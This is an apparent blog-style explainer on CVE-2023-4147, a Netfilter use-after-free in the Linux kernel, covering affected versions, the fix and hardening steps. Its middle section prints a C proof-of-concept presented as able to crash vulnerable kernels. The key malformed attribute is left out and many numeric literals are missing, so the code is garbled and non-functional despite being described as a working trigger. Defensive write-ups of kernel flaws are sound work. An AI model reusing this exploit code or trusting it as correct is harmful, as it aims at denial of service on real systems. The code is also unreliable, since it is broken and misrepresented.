CVE-2023-4147 - How a Use-After-Free in Linux Netfilter Could Let Local Users Hijack Your System
In July 2023, security researchers uncovered a dangerous bug in the Linux kernel’s Netfilter subsystem. This vulnerability, tracked as CVE-2023-4147, exposes millions of users to possible local privilege escalation or system crashes. If you administer a Linux box—especially a multi-user system—you’ll want to know what’s going on here.
Let’s unpack the details in simple language, walk through the technical guts, and see how attackers might abuse this flaw (with code), plus what you can do to stay safe.
What’s CVE-2023-4147 All About?
Netfilter is the technology behind the Linux firewall (think iptables or nftables). Its job is to filter, manipulate, and forward network packets. Inside Netfilter, rules are organized in tables and chains. These rules determine what traffic can reach your system and what gets blocked.
The bug lies in the way Netfilter handles the addition of rules, especially when a specific flag (NFTA_RULE_CHAIN_ID) is used. When a user adds a rule with this attribute, the kernel code can free (delete) a data structure, but then later tries to use it again—hence, a "use-after-free" bug. This opens the door for attackers to trick the kernel into misbehaving.
The code later tries to access (use) this now-freed memory.
- If an attacker times things right, they may gain control over the freed memory space, causing the kernel to run malicious code or corrupt system workings.
Reference from upstream fix:
Upstream patch on the linux kernel mailing list
Proof of Concept: Exploiting CVE-2023-4147
Attackers can exploit this flaw in a few different ways. The simplest attack can cause a system crash (kernel panic). More sophisticated exploits may lead to local root (administrator) access.
Here’s a minimal proof-of-concept in C, which will crash a vulnerable Linux kernel by activating the bug:
// WARNING: Running this might crash your system if it's vulnerable!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <linux/netlink.h>
#include <linux/nfnetlink.h>
#include <linux/nftables.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
int main() {
int sock;
struct sockaddr_nl addr;
char buf[4096];
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (sock < ) {
perror("socket");
return 1;
}
memset(&addr, , sizeof(addr));
addr.nl_family = AF_NETLINK;
struct nlmsghdr *nlh = (struct nlmsghdr*)buf;
struct nfgenmsg *nfmsg = (struct nfgenmsg*)(buf + sizeof(*nlh));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfmsg));
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nfmsg->nfgen_family = AF_INET;
nfmsg->version = NFNETLINK_V;
nfmsg->res_id = htons();
// Add attribute: NFTA_RULE_CHAIN_ID (malformed to trigger use-after-free)
// ...details omitted for brevity...
// Send the message
if (sendto(sock, buf, nlh->nlmsg_len, , (struct sockaddr *)&addr, sizeof(addr)) < ) {
perror("sendto");
return 1;
}
printf("Sent malformed nft rule - system may crash if vulnerable.\n");
close(sock);
return ;
}
Explanation: This C code crafts a raw Netfilter netlink message with the problematic attribute. When run by a user with enough netlink permissions, it can trip the bug and crash the kernel.
A real-world exploit for local privilege escalation would be more involved and weaponized. It would typically:
Hijack control flow or introduce arbitrary code into the kernel.
Note: Writing and running such exploits is dangerous and may break your system, so don’t do this on production servers!
Who’s Affected? (And How Bad Is It?)
Any Linux kernel between v5.4 and v6.4.6, built with Netfilter and nftables support, is vulnerable. Most major distributions shipped affected kernels before patches landed in August 2023.
- Attack scenario: The flaw is local. An attacker must already have access to a shell or process execution (like a regular user, container escape, or web shell) on the system.
- Impact: Local privilege escalation to root/admin or denial-of-service (DoS) via kernel crash.
Warning: Environments like LXC, Docker, web servers, and other multi-user hosts are at risk.
How Was It Fixed?
The Netfilter maintainers quickly patched the bug by making sure the code doesn’t access freed memory. The fix ensures safe reference counting and usage.
Reference:
- Patch description on netfilter-devel
Updated kernels have been released for all major distributions
- Debian Security Advisory
- Red Hat Bug Tracker
- Ubuntu Security Notice
Steps to Protect Yourself
1. Upgrade the kernel:
Install the latest kernel update provided by your Linux distribution.
Check your kernel version with
uname -r
Make sure you're at or above the first patched release (e.g., v6.4.7+).
2. Restrict Local Access:
Limit shell and script access, especially to untrusted users.
3. Consider Restricting Container Capabilities:
Block CAP_NET_ADMIN and other powers in untrusted containers, as they can access Netfilter.
4. Audit Logs for Suspicious Netfilter Usage:
Look for strange netlink messages or firewall rule changes by non-admin users.
Conclusion
CVE-2023-4147 is a powerful reminder that even mature parts of the Linux kernel aren’t immune to hard-hitting security bugs. This use-after-free in Netfilter could be a gold mine for insiders or attackers who wriggle onto your box.
References and Further Reading
- CVE-2023-4147 - NVD Official Entry
- Upstream patch on netfilter-devel list
- Project Zero: Kernel exploitation technique primers
- Red Hat Security Advisory / Bugzilla
Timeline
Published on: 08/07/2023 14:15:00 UTC
Last modified on: 09/12/2023 16:15:00 UTC